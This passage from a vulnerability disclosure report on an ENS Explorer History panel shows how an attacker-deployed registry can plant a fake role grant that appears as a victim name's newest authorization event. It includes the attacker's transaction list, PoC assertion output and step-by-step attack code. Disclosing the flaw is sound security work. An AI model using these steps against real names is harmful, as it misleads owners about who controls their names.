emitter 0x39a25605c022d0d0d4f429dc0ad987119bb2b21d the attacker's registry
tx 0x7f51946d784f607b727962be408757dcb2f59973cb1a14f25cc54e91e7010220
Every transaction the attacker sent, from the fresh EOA 0x6a0554a9e2c3656da2ca27c91c97b20f58f6defa:
mint the testnet USDC the .eth fee is paid in 0x63646694...801c03 51368 gas
deployProxy on the real VerifiableFactory 0x5b333313...0db1e8 176513 gas
commit a .eth registration 0x11b90c20...2618f4 45433 gas
approve the registration fee 0xf5f36665...5b25b7 46353 gas
register it, subregistry = that registry 0x438f2bac...723020 240694 gas
register the victim's label in that registry 0x165f0340...b02ef5 145864 gas
grantRoles to the victim's manager 0x7f51946d...010220 124561 gas
total 830786 gas
plus one .eth registration, 8.000021 USDC for a year.
The resource is not a coincidence and not a collision the attacker
searched for. Both registries derive it from the labelhash alone:
ETHRegistry.getResource(labelhash) 0xfa7a6cccf2bbafa3ae882c64c818acf8aba893ee827be4e7ef8e207e00000000
attacker registry, same call 0xfa7a6cccf2bbafa3ae882c64c818acf8aba893ee827be4e7ef8e207e00000000
The attacker holds no role on the victim's name, owns no part of it,
and never sent a transaction to the victim's registry.
==============================================================================
ACT 5 CONTROL: the registry-scoped query the same screen uses for authority
==============================================================================
useNameRoleAccounts.ts, contractAddress-scoped 0 row
useRoleHistory.ts, unscoped 2 rows
The same screen answers "what happened" with the unscoped query and gets
the attacker's row (asserted above, ACT 3). This control is informational,
not load-bearing: useNameRoleAccounts.ts (:50 MAX_EVENTS=1000, no pagination)
ages out the genuine grant on its own, independent of this attack, once the
shared ETHRegistry accrues 1000 newer EACRolesChanged rows from OTHER names.
OBSERVED DRIFT: scoped query returned 0 row(s), not the 1 seen at
attack time (2026-09-05), because that hook has its own separate 1000-event cap on
the shared registry. Not a failure of this claim: ACT 3/4 above re-ran the actual
injection fresh today and it is unchanged.
resources in the window 43643
drawing rows from exactly one registry 43607
drawing rows from more than one 36
A second registry on a panel is an anomaly, not the ambient state of
the data. It is what the attack produces.
==============================================================================
ACT 6 The same defect, already live on names this report never touched
==============================================================================
(resource, account) pairs spanning >1 registry 20
Each one is a name whose History panel today shows rows written in a
registry it has no relationship with. None of them were attacked by
this report; ordinary subregistry use produced them.
------------------------------------------------------------------------------
deltab-rolehist-victim.eth History panel, rows shown for 0x3c7004bf2a97410f4fff893795281abe4b8a0e1d
------------------------------------------------------------------------------
rows written by registry before after delta
the victim's own registry 0xbdc85dd5...c4f0e2 1 1 0
an attacker 0x39a25605...b2b21d 0 1 1
1 of the 2 authorization events the app presents as deltab-rolehist-victim.eth's
own history was written by an attacker who holds no role on the name.
It is the newest row, so it renders at the top of the panel.
------------------------------------------------------------------------------
==============================================================================
PoC PASSED, every assertion held.
==============================================================================
The attacker's row is 1 of the 2 authorization events the app presents as this name's own history, and it is the newest, so it renders at the top of the panel. Exit code is 0 only if every assertion held.
Attack code
// 1. The attacker owns one ENS name, the ordinary state of an ENS user.
// Deploy a registry through the real VerifiableFactory.
VerifiableFactory.deployProxy(
ensUserRegistryImpl,
salt,
abi.encodeCall(PermissionedRegistry.initialize, (attacker, ROLES_ALL))
);
// 2. Point a name the attacker registered at it. This is the step that puts
// the registry into the index the Explorer reads.
ETHRegistrar.register(
"deltab-rolehist-attacker", attacker, secret,
attackerRegistry, // the registry from step 1
address(0), 365 days, usdc, bytes32(0)
);
// 3. Register the VICTIM's label inside it. getResource on the attacker's
// registry now returns the exact value the victim's panel filters by.
attackerRegistry.register(
"deltab-rolehist-victim", attacker, address(0), address(0), ROLES_ALL, expiry
);
// 4. Grant any role to an address that already holds a role on the victim's
// name. That address is public and the app prints it one table above.
attackerRegistry.grantRoles(
0xfa7a6cccf2bbafa3ae882c64c818acf8aba893ee827be4e7ef8e207e00000000,
(1 << 24) | (1 << 20), // ROLE_SET_RESOLVER | ROLE_SET_SUBREGISTRY
0x3c7004bf2a97410F4FFF893795281abE4B8A0E1d // the victim's manager
);
// 5. The owner opens /deltab-rolehist-victim.eth/roles and clicks that manager.
// RoleHistoryTable asks useRoleHistory for label "deltab-rolehist-victim",
// gets every EACRolesChanged on the chain, keeps the ones whose resource
// matches, keeps the ones whose account matches, and renders the attacker's
// grant at the top of the History panel, dated, hashed, and labelled
// "Name: deltab-rolehist-victim.eth" in the detail sheet.
plant : register the victim's label in a registry the attacker deployed
fire : attackerRegistry.grantRoles(labelToCanonicalId(label), anyRole, a role holder on the victim's name)